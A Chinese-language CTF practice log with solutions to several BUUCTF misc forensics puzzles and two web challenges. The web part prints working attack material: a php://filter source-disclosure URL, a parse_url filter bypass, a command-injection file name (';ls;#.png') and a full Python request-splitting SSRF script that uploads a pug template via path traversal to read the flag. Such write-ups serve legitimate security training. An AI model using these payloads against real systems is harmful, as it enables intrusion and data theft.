BUUCTF-刷题记录-10

MISC

[watevrCTF 2019]Unspaellablle

词频分析，没有什么结果，然后看文件前面很有规律的样子，看起来像个什么文章？直接谷歌搜索到一个差不多的，不过有一点区别，链接。 然后去linux下面使用vimdiff命令查看两个文件的差别，发现把差别字符提取出来也就是flag了。

vimdiff 1.txt 2.txt

也就是watevr{icantspeel_tiny.cc/2qtdez}。

[INSHack2018]Spreadshit

搜索空格，全部选中，发现flag：INSA{3cf6463910edffb0}

[SUCTF2018]dead_z3r0

在文件中发现pyc标志，把其提取出来，删去33 0D 0D 0A前面的字符串进行反编译 得到

def encryt(key, plain): cipher = '' for i in range(len(plain)): cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i])) return cipher def getPlainText(): plain = '' def main(): key = 'LordCasser' plain = getPlainText() cipher = encryt(key, plain) if __name__ == '__main__': main()

但是很奇怪的东西，可能前面的一串字符串是加密过后的东西，然后进行解密。然后想到了stegosaurus来进行一个pyc的隐写，跑一下，得到flag。

[INSHack2017]remote-multimedia-controller

分析TCP流，在第二个包中发现flag.txt，是一个base64套娃， 最后得到flag

[BSidesSF2020]barcoder

使用StegSolve工具，查看红色通道 然后补齐中间的条形码就可以了，我用的是win10自带的画图工具，画直线就好了，也不是很难补，耐心一点就好了，我终于是补完了^^ 不过还是有点问题💔，扫不出来，下面这个是官方的条形码 扫码得到flag

[XMAN2018排位赛]ppap

追踪tcp流，发现一段base64 使用notepad++解码保存为一张jpg，foremost分离出来了很多张图片，和两个压缩包，压缩包都是加密的，也是一样的，内容都是flag.txt，爆破了很久密码都没有爆破出来，后来在这个网站上面得到密码skullandcrossbones，解压得到flag。

WEB

[N1CTF 2018]eating_cms

先在register.php注册一个账号，进入之后发现地址是这样的 使用伪协议读取源码成功

/user.php?page=php://filter/convert.base64-encode/resource=index

大概可以读取到这些文件 主要分析function.php，看下这个函数

function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; //有一个过滤 $uri = parse_url($_SERVER["REQUEST_URI"]); //这里是有个parse_url函数解析漏洞，可以绕过下面的关键词检测 parse_str($uri['query'], $query); foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }

关于parse_url函数解析漏洞，这个漏洞是这样的，当我们输入一个不正常的url时，该函数会返回False，例如，输入下面这种uel的时候

http://127.0.0.1//index.php?a=1

因此，这里可以通过parse_url函数解析漏洞来绕过关键词的检测，读取flag等文件，不过只有ffffllllaaaaggg有回显，得到

<?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; } ?>

继续读取m4aaannngggeee，得到

<?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload.html"; ?>

访问/templates/upload.html，存在一个文件上传点，不过有问题，路径不太对劲。 读取一下upllloadddd.php这个文件，得到

<?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file！"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>

简单分析发现，是存在一个竞争上传漏洞和一个文件名代码执行漏洞的，可以本地构造一个表单来进行上传，也可以直接把刚刚的上传页面给改一下，像这样子 构造文件名为;ls;#.png这样子的文件，进行上传 来写一个木马看看，不知道有没有权限 看起来是成功了，但是去ls的时候并没有发现这个文件，应该还是没有成功。 发现…/被过滤了，但是可以直接cd ..来绕过，发现了flag，然后cat即可。

[GYCTF2020]Node Game

题目给了源码，然后还有一个上传点，不过说了只有admin才可以用，直接上传的话会回显我们不是admin，那么就来审计代码吧！ 发现了这个

if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return }

原来是这样判断是不是管理员的，但是又是remoteaddress，我们伪造不了😅😅😅，所以是要找到一个SSRF的点，从而来进行一个文件上传。 然后看到/core路由，关键代码在这里

if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("<p>error occurs!</p>"); }

可以传入一个q参数，然后服务器去请求，不过有个黑名单过来查，这里就存在一个SSRF了，可以通过这个点，来进行一个拆分请求，从而可以利用刚刚的文件上传点，拆分请求SSRF参考这个链接。 文件上传中有这么一句代码

var file_path = '/uploads/' + req.files[0].mimetype +"/";

由于MIME可控，导致上传路径可控，也就是说可以进行任意目录的一个文件上传。然后是在action参数的一个地方，会把我们上传到template目录下面的pug文件进行一个渲染并且返回，所以说我们如果往这个目录上传文件中有一些命令的话是会执行的，这里我们使用文件包含的操作。往template目录下面上传一个pug文件来包含在根目录下面的flag，然后通过访问?action=文件名，来进行这个操作，返回这个flag，脚本如下

import urllib.parse import requests payload = ''' HTTP/1.1 POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810 Content-Length: 291 ----------------------------919695033422425209299810 Content-Disposition: form-data; name="file"; filename="flag.pug" Content-Type: ../template doctype html html head style include ../../../../../../../flag.txt ----------------------------919695033422425209299810-- GET /flag HTTP/1.1 x:''' payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) requests.get('http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload)) getflag = 'http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/?action=flag' res = requests.get(getflag) print(res.text)

运行即可得到flag。